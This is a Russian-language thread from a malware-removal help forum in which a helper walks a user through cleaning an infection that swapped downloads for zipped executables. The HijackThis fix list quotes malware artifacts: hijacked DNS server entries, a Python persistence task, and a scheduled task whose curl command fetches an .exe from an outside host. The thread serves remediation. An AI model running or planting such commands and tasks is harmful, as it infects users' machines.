Проблемы со скачиванием файлов из почты и с файлообменников

[Вега]

Здравствуйте! Помогите пожалуйста разрешить проблему, которая полностью парализовала мою работу. Обращение к гуглу и яндексу ничего не дали
1. Файлы, полученные на почту gmail, не скачиваются вообще никак. При клике на иконку не происходит ничего.

2. При попытке скачать файлы, полученные на почту yandex, происходит открытие окна с адресом https://webattach.mail.yandex.net/ и скачивается архив zip, в который вложен одноименный архив, внутри которого файл exe.

3. При скачивании файлов с файлообменников происходит тоже самое, только с адреса к примеру http://downloadscdn1.freepik.com. Открывается новая закладка и скачивается exe в двух зиповских папках. При попытке запустить такой exe, был получен полный букет прелестей от mail.ru, но вычищен вручную и с помощью утилиты чистилка и dr.web curelt!

4. При сохранении файлов из почты на диски (яндекс-диск, гугл-диск) и попытках скачать их оттуда, происходит либо ничего, либо опять архив с екзешником.

Логи приложены.

[Info_bot]

Уважаемый(ая) Вега, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Вега]

Так, понятно.
Всем глубоко пох. Логи эти тоже никому не нужны.
Ну чтож, спасибо за помощь

[Вега]

Up!

[Vvvyg]

Высказывать претензии на бесплатном ресурсе, да ещё достаточно хамски...

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

OO2 - BHO: MRSearchPlugin - {8E8F97CD-60B5-456F-A201-73065652D099} - C:\Users\User\AppData\Local\Mail.Ru\Sputnik\ie_addon_dll.dll (file missing)
17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 35.177.46.238
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 82.202.226.203
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 86.110.181.14
O17 - HKLM\System\CSS\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 86.110.181.72
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 35.177.46.238
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 86.110.181.14
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 86.110.181.72
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 35.177.46.238
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 86.110.181.14
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{018F2F98-80C9-454C-9A60-8F36E3E85841}: NameServer = 86.110.181.72
O22 - Task (Ready): curl - C:\Users\User\AppData\Roaming\curl\curl_7_54.exe -f -L http://amtomil.ru/f.exe -o C:\Users\User\AppData\Roaming\curl\curl.exe (file missing)
O22 - Task (Ready): curls - C:\Users\User\AppData\Roaming\curl\curl.exe (file missing)
O22 - Task (Ready): setupsk_upd - C:\Users\User\AppData\Roaming\SETUPS~1\python\pythonw.exe "C:\Users\User\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd" (file missing)

Очистите кэш и cookies-файлы браузеров и кэш DNS и сообщите, что с проблемой.

[Вега]

Vvvyg, спасибо большое за помощь, проблема вроде бы решена.
Что касается претензий - мне показалось, ваш ресурс позиционирует себя как сервис все-таки. Не форум-болталка. И ряд платных услуг вы предоставляете. И поддержки просите. И команда ваша вряд ли волонтёры. Поэтому имели место быть некие ожидания относительно вас. Наблюдать, как в течении вторых суток тема падает, а логи не просмотрены - не сильно приятно. В то время как кому-то даются ответы по поводу залипания клавиш на грязной клавиатуре. Тем не менее за хамство приношу извинения. Еще раз спасибо

[Vvvyg]

Сделайте лог Malwarebytes AdwCleaner.

[Вега]

AdwCleaner[S1].txt

- - - - -Добавлено - - - - -

AdwCleaner[S0].txt AdwCleaner[S2].txt AdwCleaner[S3].txt

- - - - -Добавлено - - - - -

AdwCleaner[C0].txt AdwCleaner[C2].txt

[Vvvyg]

Удалите всё найденное в AdwCleaner, дождитесь окончания удаления и перезагрузите систему по требованию программы.
После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C3].txt, прикрепите к своему следующему сообщению.
Очистите кэш и cookies-файлы браузеров и сообщите, что с проблемами.

[Вега]

AdwCleaner[C2].txt

[C3] нет, есть [C2]

[Vvvyg]

Хорошо, проблема решена?

[Вега]

Да, спасибо. Еще с 24-го числа всё хорошо

[Vvvyg]

Запустите AdwCleaner и нажмите Файл -> Деинсталлировать (Uninstall).

Выполните рекомендации после лечения.